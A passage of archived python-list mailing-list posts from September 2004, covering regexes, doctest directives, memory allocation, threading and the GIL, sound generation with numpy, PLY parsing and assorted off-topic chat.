any to my liking. I basically need to have I'm assuming you meant 'good regex to parse email ids'. I knew someone would want this someday :). Here goes: import re r = re.compile (r"""(?P<name>["(].+[")]\s)? # The name preceding the id, if any (?P<mailid>[<\w]+[-\w.<+]+@(\w+\.)+[\w>]+) # The actual id (?P<trailing>\s["(].+[")])? # The trailing name if any """, re.VERBOSE) re.search(r, '-sdf at sdf.cas').group('mailid') HTH Steve From luismg at gmx.net Thu Sep 30 11:14:25 2004 From: luismg at gmx.net (Neuruss) Date: 30 Sep 2004 08:14:25 -0700 Subject: List comprehensions performance References: <278de0e.0409291441.4ef0a859@posting.google.com> Message-ID: <278de0e.0409300714.efc264d@posting.google.com> Thank you guys! I will investigate the timeit module as suggested for these kind of tests... From jmfbahciv at aol.com Thu Sep 2 09:13:33 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Thu, 02 Sep 04 13:13:33 GMT Subject: Xah Lee's Unixism References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <ullfserte.fsf@mail.comcast.net> Message-ID: <41372f4a$0$19727$61fed72c@news.rcn.com> In article <ullfserte.fsf at mail.comcast.net>, Anne & Lynn Wheeler <lynn at garlic.com> wrote: >Brian Inglis <Brian.Inglis at SystematicSW.Invalid> writes: >> MS has been borrowing code from Unix to create a real OS: TCP/IP; >> NTFS<-ffs; memory mapped files<-mmap. >> Shame they keep trying to add their own ideas in too: that must be >> what causes the crashes! > >and unix goes back to multics ... which was on 5th floor, 545 tech sq. >while cp/cms was at the science center on 4th floor, 545 tech sq ... >http://www.garlic.com/~lynn/subtopic.html#545tech >and they both go backto ctss > And everybody seems to think that those people never talked to each other. Even boasting about whose is bigger, faster, and longer would transmit new ideas among the bit setters. /BAH Subtract a hundred and four for e-mail. From jmfbahciv at aol.com Sat Sep 4 06:39:48 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Sat, 04 Sep 04 10:39:48 GMT Subject: Xah Lee's Unixism References: <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <usm9zqc4h.fsf@mail.comcast.net> <enqhj0ls347lcgc4brjvcjqrtnqvsfencd@4ax.com> <ud612rket.fsf@mail.comcast.net> <u3c1yrka7.fsf@mail.comcast.net> Message-ID: <4139ae57$0$19717$61fed72c@news.rcn.com> In article <u3c1yrka7.fsf at mail.comcast.net>, Anne & Lynn Wheeler <lynn at garlic.com> wrote: >Anne & Lynn Wheeler <lynn at garlic.com> writes: >> if you choose your road routes carefully enuf ... you can miss a lot >> of the problems that you would run into moving by train. we had one >> route where i was on the peak of the house and had to grab wires over >> the side .... lift the wires up to clear the peak and walk the wires >> back as the house moved under. > >oh ... and people have died doing that ... That was my next question :-). How did you manage? /BAH Subtract a hundred and four for e-mail. From anon at ymous.com Tue Sep 14 23:44:36 2004 From: anon at ymous.com (Anon) Date: Wed, 15 Sep 2004 03:44:36 GMT Subject: optimizing memory utilization References: <pan.2004.09.14.04.38.02.647096@ymous.com> <ci6f73$921$1@newstree.wise.edt.ericsson.se> <1db49385.0409141355.5d204a03@posting.google.com> <ci88tm$v5c$0$216.39.172.122@theriver.com> Message-ID: <pan.2004.09.15.03.51.25.542250@ymous.com> On Wed, 15 Sep 2004 02:20:38 +0000, Bengt Richter wrote: > Need example of raw input and desired output ;-) The input is: - one "csv" file containing a list of albums with their artist and an AlbumID - one "csv" file containing a list of track names and associated AlbumID - one big file containing fully-qualified paths to mp3 files The desired output is: and XML file with the "proposed" artist, album, and track name for each file. The file name would be the top level element for a given XML node and then there would be element groupings of "proposed" artist, album, and track name for each file. The last step is to edit the XML file and "select" the desired fields from list of candidates for each fields, and then use the XML as a work order for tagging (and possibly renaming) all of the identified files. > Patterns starting at any character? What if you have overlapping > matches? I.e., if you had a string 'abbcde123', and were looking for > 'bb' and 'bc' would it count as two matches? Would longer matches have > priority? E.g., matching 'bbcd' overrides 'bb and 'cd' as separate > matches? Yes, yes, and yes... > Anyway, let's see what a brute force simple approach does. E.g, just put > the 500,000 small strings in a small tree of dictionaries based on say > string length, then the string (you could tier it again with some > leading characters and the rest, but I'd try the easy thing first. But > anyway, the idea (practically untested) is something like: I had planned to sort the list based upon string length (and probably apply some minimum length requirement too), but the tree of dictionaries surely seems a bit more elegant. > This finds repeating and overlapping patterns, since it was easy. That > may not be what you want, but you didn't say ;-) > > ----< s500kin10k.py >--------------------------------------- def > main(path500k, path10k): > root = {} > for line in file(path500k): > line = line.rstrip() > if not line: continue > root.setdefault(len(line),{})[line] = None > lengths = root.keys() > lengths.sort() > print lengths > print root > # and then walk through your 10k strings of ~256 characters > > for nl, line in enumerate(file(path10k)): > line = line.rstrip() > hdr = 'Line %s: %r\n' % (nl, line) > nc = len(line) > for length in lengths: > if length > nc: break > tier1 = root[length] > for nstep in xrange(nc+1-length): # walk a window of length > chars > if line[nstep:nstep+length] in tier1: > print '%s %r' % (hdr, line[nstep:nstep+length]) > hdr = '' > > if __name__ == '__main__': > import sys > if len(sys.argv)!=3: raise SystemExit, """ Usage: s500kin10k.py > path500k path10k > where path500k has 500k lines of one string each, and path10k > has 10k lines to search for the 500k in any position. > """ > main(*sys.argv[1:]) > ------------------------------------------------------------ > > Gee, thanks. That's a nice example! > I suspect that you won't be that happy iterating through just arrays, > unless they are arrays of patternmatching tables like IIRC flex > generates to do parsing. Basically doing tricky parallel pattern > matching by keeping track of which patterns are alive as you go from > character to character. But 500k patterns are a lot of patterns.... Since I only want to do it once in rare while, execution time isn't a huge deal... I could readily write this code in C and make my data fit within a reasonable amount of RAM, but I'm trying to use the project as an opportunity to lean Python. > See if the above runs you out of memory. Or time ;-) I'd try it on > shorter files first. You didn't say what you wanted your final output to > look like. Small examples of input => output communicate well ;-) Well, basically, I'm trying to use the FreeDB database as a list of valid artists, albums, and tracks to locate these strings within the file names of mp3 files and then use those result to apply ID tags to the mp3 files. I'm assuming that I'll have multiple matches for any given file so my plan was to output to an XML file, hand 'clean' that, and then use the XML as the input for the actual tagging operation. Thanks, Wes From clifford.wells at comcast.net Sun Sep 19 20:08:56 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sun, 19 Sep 2004 17:08:56 -0700 Subject: python is going to die! =( In-Reply-To: <cil665$rjn$1@sea.gmane.org> References: <mailman.3520.1095631846.5135.python-list@python.org> <pan.2004.09.20.19.27.30.753994@jerf.org> <cil665$rjn$1@sea.gmane.org> Message-ID: <1095638937.31957.344.camel@devilbox.devilnet.internal> On Sun, 2004-09-19 at 19:53 -0400, julio wrote: > So am i missing something ? are any of my arguments wrong ? again : The fundamental problem with your arguments/complaints is that you somehow think that someone, somewhere on this list owes you something. Python (unlike C#, Mono being an exception) is, for the most part, a volunteer effort. I suppose next you'll be going to the local food shelter and complaining that their sandwiches can't compete with McDonalds. If you want an IDE and you know what makes a good one, then you should write one. Better yet, help out on one of the existing ones (i.e. Boa Constructor, Anjuta) and help shape it into what you think an IDE should be. Regards, Cliff -- Cliff Wells <clifford.wells at comcast.net> From alf at merlin.fayauffre.org Tue Sep 7 09:28:50 2004 From: alf at merlin.fayauffre.org (Alexandre Fayolle) Date: Tue, 7 Sep 2004 13:28:50 +0000 (UTC) Subject: Anyone know anything named DX? (was Re: Announcing PyCs) (was: Announcing PyCs, a new Python-like language on .Net) References: <20040901221925.2128958333.EP@zomething.com> <mailman.2945.1094509287.5135.python-list@python.org> <pan.2004.09.06.21.29.05.273319@jerf.org> <1stv02-qlp.ln1@home.rogerbinns.com> Message-ID: <chkd2i$2lkj$2@biggoron.nerim.net> Le 07-09-2004, Roger Binns <rogerb at rogerbinns.com> a ?crit?: > It was how I came up with Entrocul and BitPim :-) Well. Am I the only one surprised that "entrocul" searched on google doesn't lead to some pr0n page, possibly in French, or some other latin-derived modern language? :-) -- Alexandre Fayolle LOGILAB, Paris (France). http://www.logilab.com http://www.logilab.fr http://www.logilab.org From b.niemann at betternet.de Fri Sep 3 12:00:50 2004 From: b.niemann at betternet.de (Benjamin Niemann) Date: Fri, 03 Sep 2004 18:00:50 +0200 Subject: Problem with quopri in email Message-ID: <cha498$bbk$1@online.de> Hi, I just sent a newsletter (HTML with <img>s) using a Python script. Looking at the error_log of our web server, I'm seeing lots of 404 error for files like /images/news/f68f57c1c67dc319d84f7c11c8b71b65jpeg or /images/news/f23a00f8bd912b73b4f63149cc808dbf..jpeg (there should be exactly one dot...) The corresponding parts of the quopri encoded HTML looks like this: ...<img= src=3D"http://www.fujinews.de/images/news/f68f57c1c67dc319d84f7c11c8b71b65= .jpeg" alt=3D"E550_seitliche_front_flash low res.jpg" vspace=3D"4" hspace= =3D"4" border=3D"0" align=3D"left" />... The dropped/duplicated dot is at the beginning of the line - other images are not affected. Mailreaders with IE6 as HTML renderer make both mistakes (dropping and duplicating the dot), others like Lotus Notes 5 or various webmailers only duplicate the dot. I'm using Python 2.2.1 on Debian 3.0 The version of email module is 2.5.3 (not the one from the Python2.2 package). Whose fault is it? I found nothing in RFC 1521 that disallows lines starting with a dot (unless it's the only character on the line) - the fragment above seems to be valid quoted-printable, as far as I can tell. Am I right? If it is not a bug in the email module, has anyone ideas for a workaround? (except forcing our client not to use Notes 5 anymore ;) Greetings from Heidelberg, Benjamin Niemann From tim.peters at gmail.com Sat Sep 4 13:06:53 2004 From: tim.peters at gmail.com (Tim Peters) Date: Sat, 4 Sep 2004 13:06:53 -0400 Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged In-Reply-To: <1gjlbg6.1kw163nlpganwN%aleaxit@yahoo.com> References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com> <mailman.2807.1094184160.5135.python-list@python.org> <1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com> <uk6vbmcru.fsf@fitlinxx.com> <1gjlbg6.1kw163nlpganwN%aleaxit@yahoo.com> Message-ID: <1f7befae04090410063cfec809@mail.gmail.com> [David Bolen] ... >> The one failure that I don't think you could easily anticipate is a >> change in the actual exception message - for example the "r('shuf', >> 'astring')" test wants a TypeError saying "object doesn't support item >> assignment", but 2.4 changes that to "object does not support item >> assignment". [Alex Martelli] > Yeah, doctest IS prone to this sort of issue, sigh -- wording of error > messages keeps changing, in ways either subtle or major. I gather that > 2.4 doctest has a "skip" indicator (an ellipsis I believe) to help with > that, but I don't want to break compatibilty with 2.3... Darn. The new doctest ELLIPSIS directive is a good long-term approach to this, but you're right that it doesn't help you today. So, in the *next* Python 2.4 prerelease, there will be a new IGNORE_EXCEPTION_DETAIL directive. Then, e.g., this doctest passes under 2.3.4 and 2.2.3, and will also pass in 2.4: >>> (1, 2)[3] = 'moo' #doctest: +IGNORE_EXCEPTION_DETAIL Traceback (most recent call last): File "<stdin>", line 1, in ? TypeError: object doesn't support item assignment Since doctest directives didn't exist before 2.4, earlier Pythons view them as comments, and insist on exact match. 2.4 will still insist on seeing a TypeError, but won't care that "doesn't" has changed to "does not" (or, for that matter, won't care if the actual detail is "Congratulations, Anna and Alex!"). After Pythons prior to 2.4 become uninteresting, a less forgiving test can be gotten via, e.g., >>> (1, 2)[3] = 'moo' #doctest: +ELLISPSIS Traceback (most recent call last): File "<stdin>", line 1, in ? TypeError: object does... support item assignment From mcfletch at rogers.com Tue Sep 14 17:03:33 2004 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Tue, 14 Sep 2004 17:03:33 -0400 Subject: Random Instance generation In-Reply-To: <494182a9.0409141247.608d365f@posting.google.com> References: <494182a9.0409141247.608d365f@posting.google.com> Message-ID: <41475CA5.2020604@rogers.com> from basicproperty import common, propertied class MyObject( propertied.Propertied ): name = common.StringProperty( "name", """The "name" of the object by some measure""", ) instances = [ MyObject( 'a%d'%(i,)) for i in range(100) ] Doing it without basicproperty defining a "name" would, of course, require you to determine what you mean by having a "name of" a1 (in Python, names point to objects from namespaces, they aren't necessarily attributes of the objects themselves, so two names can point to one object, or an object can be entirely without a name). For instance: instances = dict( [ ('a%d'%(i,),object()) for i in range( 100 ) ] ) would give you a dictionary with 100 named objects in which you could then "eval" or "exec" code snippets that rely on those names. >>> instances = dict( [ ('a%d'%(i,),object()) for i in range( 100 ) ] ) >>> instances['a1'] <object object at 0x00C7D3C0> >>> eval( '(a2, a8,a4)', instances ) (<object object at 0x00C7D3C8>, <object object at 0x00C7D3F8>, <object object at 0x00C7D3D8>) which is the kind of thing you would do if you were trying to write an interpreter. Good luck, Mike Balaji wrote: >Hello eveybody.... > >Suppose there is a class A: > >I want to generate say 100 random instance of it... > >How can I do that.... > >I want the instance name to be like a1, a2, a3... > >Any ideas..... > >Cheers > >Balaji > > ________________________________________________ Mike C. Fletcher Designer, VR Plumber, Coder http://www.vrplumber.com http://blog.vrplumber.com From godoy at ieee.org Wed Sep 15 20:39:04 2004 From: godoy at ieee.org (Jorge Godoy) Date: Wed, 15 Sep 2004 21:39:04 -0300 Subject: up with PyGUI! References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <m3pt4nwa84.fsf@g2ctech.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <mailman.3388.1095291463.5135.python-list@python.org> Message-ID: <m33c1jvyhj.fsf@g2ctech.com> Carlos Ribeiro <carribeiro at gmail.com> writes: > The biggest problem for we third-world money-impaired users that many > people don't realize is that we charge for our services in the local > currency, but have to buy stuff in strong currency (dollars or euros). > That's what kills us. *If* the conversion rate were lower (1:1, for > example, as it was a not so long time ago) it would be possible. I'll > tell you some figures. It was a good time that one. But then, it was an artificial and unsustainable situation for the economics of Brasil. If it had been more recently, then I believe it would last longer. > An average programmer in Brazil makes betwen R$ 800,00 to R$ > 2000,00/month. The actual income, roughly converted, is in the US$ 270 > -- US$ 650 range. Yes - is this low. Senior programmers or analyst can > make more, specially if they live in S?o Paulo, but then the actual > cost of living will make a much bigger dent on their income. In other > words - a US$ 300 tool is too expensive. And you are taking a good income (R$ 2000,00). I explained about the minimum wage here... US$ 80.00 against the (I believe) US$ 1100.00 in the US and probably something like that in the EU countries. > (AFAIK, there are some companies that run special discounts for > customers in third world countries. That's fair for software, I think. > It's a shame no more companies do the same) Specially with the distribution model where you download everything from the Internet... No storage costs, no S&H costs... -- Godoy. <godoy at ieee.org> From FBatista at uniFON.com.ar Thu Sep 16 08:29:11 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Thu, 16 Sep 2004 09:29:11 -0300 Subject: python: ascii read Message-ID: <A128D751272CD411BC9200508BC2194D053C796A@escpl.tcp.com.ar> [Sebastian Krause] #- I did not explictly mention that the ascii file should be #- read in as an #- array of numbers (either integer or float). #- To use open() and read() is very fast, but does only read in #- the data as #- string and it also does not work with large files. What you mean with "also does not work with large files"? I worked with files up to my OS limit (2GB) without *any* issue. In what enviroment are you? OS? Python version? Also, if you want to deal with the format of the file, check the ``struct`` module. . Facundo From aleaxit at yahoo.com Wed Sep 29 09:50:44 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 29 Sep 2004 15:50:44 +0200 Subject: using threads with for-loops References: <3e96ebd7.0409280711.42ef328b@posting.google.com> <va2dndnRbro_C8TcRVn-vw@powergate.ca> <udqo22-sf7.ln1@valpo.de> <KvCdnUvBCJ5wX8TcRVn-pg@powergate.ca> <s7uo22-9m7.ln1@valpo.de> Message-ID: <1gkvn49.1qcth2p14ux0l8N%aleaxit@yahoo.com> Mathias Waack <M.Waack at gmx.de> wrote: ... > >> Have you ever seen machines with more than one CPU? > > > > Why yes, I have! And have *you* seen an implementation > > of Python which will effectively use those multiple CPUs > > in code like that above which runs in a single process? > > Ok, I've lost: I haven't seen such implementation and don't know much > about the thread-layer of Python. There are, as far as I know, three complete implementations of Python (plus several add-on bits and pieces and unfinished ones): CPython, Jython, and IronPython. CPython uses its own dedicated virtual machine, and its threads are subject to a global per-interpreter lock. However, in lieu of dedicated virtual machines, Jython relies on the JVM, and IronPython relies on Microsoft CLR's, and I believe both of those VMs have no global interpreter lock. I have no multi-CPU machine at hand that can run Microsoft's CLR, but I do have a Powermac with two CPUs, MacOSX 10.3.5, and a JVM (1.4.2 is the latest one, I believe). So, if you can suggest a test to show whether Jython there can in fact effectively use both CPU's, I'll be glad to run it and let everybody know (I'm a bit rusty on recent Java VMs, so I don't know if I need any special incantations to tell them to run on many CPUs, or what). I'm not sure IronPython runs fully on Mono, and neither am I sure the current release of Mono on MacOSX is able to use multiple CPUs for threading, but if somebody can find out and suggest a definitive test on the matter, again I'll be glad to run it and report to the list. Net of such niggling issues, one might say that _most_ (hey, 2 out of 3, right?-) current complete implementations of Python can do "free threading" with no global per-interpreter lock, and thus in theory should be able to use multiple CPUs productively in multiple CPU-bound threads of a sinble process -- assuming, say, Java or C# can do so, I see no reason, in principle, why Python shouldn't be able to, when it runs on the same underlying VM as Java or C# respectively. > >> The code above is perfectly suited for parallelization. > > > > Yes, it is. Once you take into account implementation > > issues (e.g. the GIL), would you still think so? > > Depends. Which means: don't know. If I would start thinking about > creating threads to gain a speedup, I would even think about > switching to another programming language. ...or another implementation of Python, if you're currently using CPython and some limitation in it is a big problem for you... Alex From tim.peters at gmail.com Mon Sep 20 01:35:31 2004 From: tim.peters at gmail.com (Tim Peters) Date: Mon, 20 Sep 2004 01:35:31 -0400 Subject: memory allocation In-Reply-To: <pan.2004.09.19.18.28.33.473150@optusnet.com.au> References: <pan.2004.09.19.11.21.21.129058@optusnet.com.au> <pan.2004.09.19.18.28.33.473150@optusnet.com.au> Message-ID: <1f7befae04091922351debfb3d@mail.gmail.com> [benevilent at optusnet.com.au] > My latest understanding is that the default memory allocation will result > in arenas being created to fulfill the maximum memory requirements of the > program. I'm not sure what that means, but probably yes. > If memory is freed, the program still occupies the amount of > memory occupied by these arenas. It's true that pymalloc never returns an arena to the system free(). It's also true, e.g., that space allocated for Python integers never leaves a special internal free list for integers until Python shuts down, and pymalloc plays no part in that. > If allocations can be fulfilled without creating new arenas, then no additional > memory will be required. Not all parts of Python use pymalloc. If you're talking only about the parts that do use pymalloc, then yes. > Hence as time goes by the memory required by the program increases > (assuming increasing memory requirements of the application), and it will not > dynamically expand and contract with the memory allocations/deallocations > as you would expect with an ordinary program. Is my understanding of this > correct? Possibly. I personally don't expect simplistic behavior from programs that use only malloc and free, assuming that's what "an ordinary program" intends to mean here. The relationship between the platform malloc/free and "memory required by the program" is usually very complex. Throwing pymalloc into the mix too makes it even more complex. "memory required by the program" is ambiguous on its own on machines with virtual memory, due to distinguishing between RAM in use and paged-out virtual address space that's never referenced again. [... later ...] > Is it possible to change the memory allocation scheme of Python so that I > can confirm this? You can build Python without pymalloc. I've never done that myself, so am not sure how to do it. Could be that passing --with-pymalloc=no would suffice. From rogerb at rogerbinns.com Tue Sep 21 00:12:08 2004 From: rogerb at rogerbinns.com (Roger Binns) Date: Mon, 20 Sep 2004 21:12:08 -0700 Subject: Python Webstart ? References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <mailman.3460.1095435595.5135.python-list@python.org> <c718a6cf.0409191852.15121830@posting.google.com> <f05222-eec.ln1@home.rogerbinns.com> <NpD3d.613$g42.397@newsread3.news.pas.earthlink.net> Message-ID: <nkm422-mfu.ln1@home.rogerbinns.com> Andrew Dalke wrote: > You probably use more programs than those on your desktop. > You can think of Google, Yahoo, eBay, etc. as web-based > applications for their specific tasks. These differ from > your OS in that they have no local installation. You go > to the right URL and start using it. > > They also differ in that they have limited access to local > resources. I believe WebStart's goal is to expand on the > latter while acting like the former. Very good points. I have no issue with the *goals* of webstart, just the current implementation. And I would have the same issue with something targeted at Python. It is important that a parallel packaging system is not introduced. Effectively the packaging systems are zero install (ie a bookmark/link you can use in any browser) or the system native one. A hybrid of the two gives you the worst of both worlds. The test I use is: how do I remove the program? Roger From yk.suse at bullier.org Fri Sep 3 16:59:32 2004 From: yk.suse at bullier.org (Yann.K) Date: Fri, 03 Sep 2004 22:59:32 +0200 Subject: open default MUA with a hyper link Message-ID: <chalvm$1944$1@biggoron.nerim.net> Hello. I would like to do a hypertext link on a GUI, which launch a per default mail user agent (with the "to" header documented). To launch an url in a web browser i use webbrowser.open(url). Do exist an equivalent command to run the per default MUA (like ie webbrowser.mail_open(toto at example.com)? Thank's for your help. -- Yann.K From carribeiro at gmail.com Fri Sep 3 11:05:38 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 3 Sep 2004 12:05:38 -0300 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <59e9fd3a04090307154bfd6fd8@mail.gmail.com> References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> Message-ID: <864d3709040903080525e8fc32@mail.gmail.com> On Sat, 4 Sep 2004 00:15:41 +1000, Andrew Durdin <adurdin at gmail.com> wrote: > However, I think it'd be hard to make an iterator implementation of > sorted() without either copying the sequence or resorting to O(n^2) > performance, which is not good. > This may just be an example where inconsistency is a practical necessity. You may be right. At the least, this reasoning could possibly be included in the FAQ, as it will probably turn out to be a frequent question in the near future. But having sorted() to return a iterator still sounds like a logical thing to do, so I'm not sure about it. So we now have a different question -- does it make sense to have sort() to return a iterator? What would be the advantages, and what does it take to implement it? Today, sorted() returns a brand new sorted sequence. So it already takes the full memory and time penalty while doing so. However, **if sorted() was implemented as a generator**, it would have some advantage in special cases: -- sorting long sequences to use only a few of the first elements. For example, if you need to sort a long list to get the top 10 elements. A generator would yield only those elements, saving a lot of time that would go into sorting everything else. -- overall responsiveness in applications where sort is frequently called. Instead of waiting for the full sort at each sorted() call, the running time of the sorting method would be divided between the calls to the generator. Interactive and multithreaded applications can benefit of this approach (I'm not sure if sorted() grabs the GIL or not, but if it does, then it's definitely something to look at). (but then, again, it may be a poor design choice to use sorted() in these scenarios -- a heap or some other similar structure would be better suited. But I digress here). Modifying the sorting algorithm to work as a generator is not as hard as it seems. For example, Quicksort can be easily adapted. It's just a matter to yield the results as soon as the "left" partition is sorted. Actually, a similar technique can be used to yield the reversed sort (which is not the same as reversed(), incidentally). Other sorting algorithms can also be adapted. p.s. I opted to send a copy of this answer to the list, I think it's good for the discussion. I hope you don't mind. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From andrea.valle at unito.it Sat Sep 25 03:01:42 2004 From: andrea.valle at unito.it (andrea valle) Date: Sat, 25 Sep 2004 09:01:42 +0200 Subject: Drawing sound In-Reply-To: <4154B192.500B6D97@juno.com> References: <ttNMvZB0zGVBFwRQ@[127.0.0.1]> <4154B192.500B6D97@juno.com> Message-ID: <C19CB8D4-0EC0-11D9-A0CE-0003939C968C@unito.it> It can be done in a lot of languages. Tipically musicDSP is in C or C++. Anycase, as I was posting, I'm working an audio manipulation in non real time, which seems to be your interest. It's absolutely easy. A signal is a 1 D array (or just a list). Make the DSP math you want on it, then write it to wave object. Works perfectly. It's better to use numpy (or numarray), so you have a faster way to access arrays and you gain some useful methods (convolution). In case of drawing sound , you have to build a GUI with just a frame and the pass values to the array. It can mean: a) making a sonogram and resynthesizing.Vertical axis control a bank of oscillators, horizontal one time. Each point is a couple (time, frequency). time is the index for the array. Here your problem is not Python, it's implementation of the synthesis method. You could also use a bank of filters. b) drawing a curve in a amplitude/time canvas. This seems really not complex. Each point is a couple (time, amplitude). Time is the index and amplitude the value to be set. Then you can also: a) use python to generate scores for Csound, i.e. control instructions foa dedicated synthesi language (the most powerful for NRT) b) try the csound wrapper for python in csound 5 which is experimental. From python you invoke something like csound.perfom(). That's great. c) use python for real time. There's hypersonic package for python but I haven't tried yet. Following an excerpt of my two roughly made classes SoundObject and SoundFile using numpy. They work in this way: a = SoundObject(1) # a SoundObject of 1sec a.sine(440) # fill with a sine of 440Hz f = SoundFile(a.signal) # a SoundFile passed with the signal of a f.write() # write it to file class SoundObject: #________________________ # initialization def __init__(self, dur): self.dur = dur self.sr = 44100 self.len = self.sr*self.dur self.signal = self.create() def create(self): self.len = int(44100*self.dur) signal = zeros(self.len, Float) return signal def reset(self): self.signal = zeros(self.len, Float) #________________________ # generators def whiteNoise (self): "-1,1 random" self.signal = uniform(-1, 1, (len(self.signal),)) def sine (self, freq): "sinusoidal wave with frequency freq" for index in range(len(self.signal)): sample = sin(2*pi*freq*(float(index)/44100)) self.signal[index] = sample def impulse(self): "a single one-sample pulse, rest 0" self.reset() self.signal[0] = 1 def square (self, freq): "square wave with frequency freq" halfPeriod = int((1.0/freq * self.sr)/2) firstHalf = ones(halfPeriod, Float) secondHalf = ones(halfPeriod, Float)*-1 wave = concatenate((firstHalf, secondHalf)) signal = array([], Float) while len(signal) <= self.len: signal = concatenate((signal, wave)) self.signal = signal class SoundFile: def __init__(self, signal): self.file = wave.open('/test.wav', 'w') self.signal = signal self.sr = 44100 def write(self): print "\nwriting to wavefile" self.file.setparams((1, 2, self.sr, 6, 'NONE', 'noncompressed')) self.file.writeframes(self.signal.tolist()) print "done\n" Hope it helps. ciao -a- Andrea Valle Laboratorio multimediale "G. Quazza" Facolt? di Scienze della Formazione Universit? degli Studi di Torino andrea.valle at unito.it > Chris wrote: >> >> I want a program that can "draw" sound. >> >> Imagine drawing a graph of frequency against time - >> and then being able to play it over the computer speakers. >> >> Can this be done in Python? >> >> As a start, consider this simple QBASIC program that >> generates random frequencies: >> >> 10 frequency = 40 + 400 * RND >> 20 SOUND frequency, 7 >> 30 GOTO 10 >> >> That's fine - except that it plays over the PC speaker - >> the one that's just there for the happy beep - and not >> through the sound card and proper speakers. >> >> Can that be done in Python? >> Or in any other language? >> -- >> Chris > -- > http://mail.python.org/mailman/listinfo/python-list > -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 4469 bytes Desc: not available URL: <http://mail.python.org/pipermail/python-list/attachments/20040925/e1a979d9/attachment.bin> From zathras at thwackety.com Sun Sep 19 21:34:38 2004 From: zathras at thwackety.com (Michael Sparks) Date: Mon, 20 Sep 2004 02:34:38 +0100 Subject: Using PLY References: <414a6ca1$1@news.unimelb.edu.au> <cie5or$ggr$0$216.39.172.122@theriver.com> <4b39d922.0409171206.1ed5003d@posting.google.com> <414e11ec$1@news.unimelb.edu.au> Message-ID: <414e3a89$0$91282$ed2619ec@ptn-nntp-reader03.plus.net> Maurice LING wrote: ... > Another thing that I am quite puzzled by is the yacc part of PLY. Most > of the examples are showing calculators and the yacc part does the > calculations such as, > > def p_expression_group(self, p): > 'expression : LPAREN expression RPAREN' > p[0] = p[2] > > this is a bad example, I know. Simple examples of lex/yacc type things tend to have this though. > But how do I get it to output some > intermediate representations, like AST, or an intermediate code > (byte-code type). > > Is > > def p_expression_group(self, p): > 'expression : LPAREN expression RPAREN' > p[0] = p[2] > print "byte_x" + p[0] > > or something like this legal? It's legal, but probably not what you want. Normally you have Lex --(token) --> Parse --(AST)--> Something Interesting. If Something Interesting is simple, you can do that instead at the AST stage which is what the examples do. If you wanted to modify the example/calc/calc.py in the PLY distribution to return an AST to play with you would change it's rules to store the parsed structure rather than do the work. Taking the route of minimal change to try and make it obvious what I've changed: def p_statement_assign(p): 'statement : NAME EQUALS expression' p[0] = [ "assignment", p[1], p[3] ] # names[p[1]] = p[3] def p_statement_expr(p): 'statement : expression' p[0] = [ expr_statement", p[1] ] # print p[1] def p_expression_binop(p): '''expression : expression PLUS expression | expression MINUS expression | expression TIMES expression | expression DIVIDE expression''' p[0] = ["binop_expr", p[2], p[1], p[3] ] # long if/elif evaluation def p_expression_uminus(p): 'expression : MINUS expression %prec UMINUS' p[0] = ["uminus_expr", p[2]] # p[0] = -p[2] def p_expression_group(p): 'expression : LPAREN expression RPAREN' p[0] = ["expression", p[2] ] # p[0] = p[2] def p_expression_number(p): 'expression : NUMBER' p[0] = ["number", p[1]] # p[0] = p[1] def p_expression_name(p): 'expression : NAME' p[0] = ["name", p[1] ] # p[0] = names[p[1]], with error handling A sample AST this could generate would be: [ "assignment", ["name", "BOB" ], ["expression", ["binop_expr", "*", ["number", 7], ["number", 9] ] ] ] In example/calc/calc.py this value would be returned here: while 1: try: s = raw_input('calc > ') except EOFError: break AST = yacc.parse(s) #### <- ------ HERE! (NB, slight change to the line ####) This is a very boring, not very interesting, not that great AST,but should hopefully get you started. You should be able to see that by traversing this tree you could get the same result as the original code, or could spit out code that performs this functionality. Often its nice to have some simplification of the tree as well since this sort of thing can be rather unwieldy for realistic languages. It's also worth noting that the calc.py example is also very toy in that it matches single lines using the parser rather than collections of lines. (ie the parser has no conception of a piece of code containing more than one statement) > I'm trying to parse what looks like a 4GL source code. FWIW, start small - start with matching the simplest expressions you can and work forward from there (unless you're lucky enough to have a LALR(1) or SLR(1) grammar for it suitable for PLY already). Test first style coding for grammars feels intuitively wrong, but seems to work really well in practice - just make sure that after making every test work check in the result to CVS/your favourite version control system :-) One other tip you might find useful - rather than sending the lexer whole files as PLY seems to expect, do line handling yourself and send it lines instead - it works much more like Flex/lex that way. Regards, Michael. From lynn at garlic.com 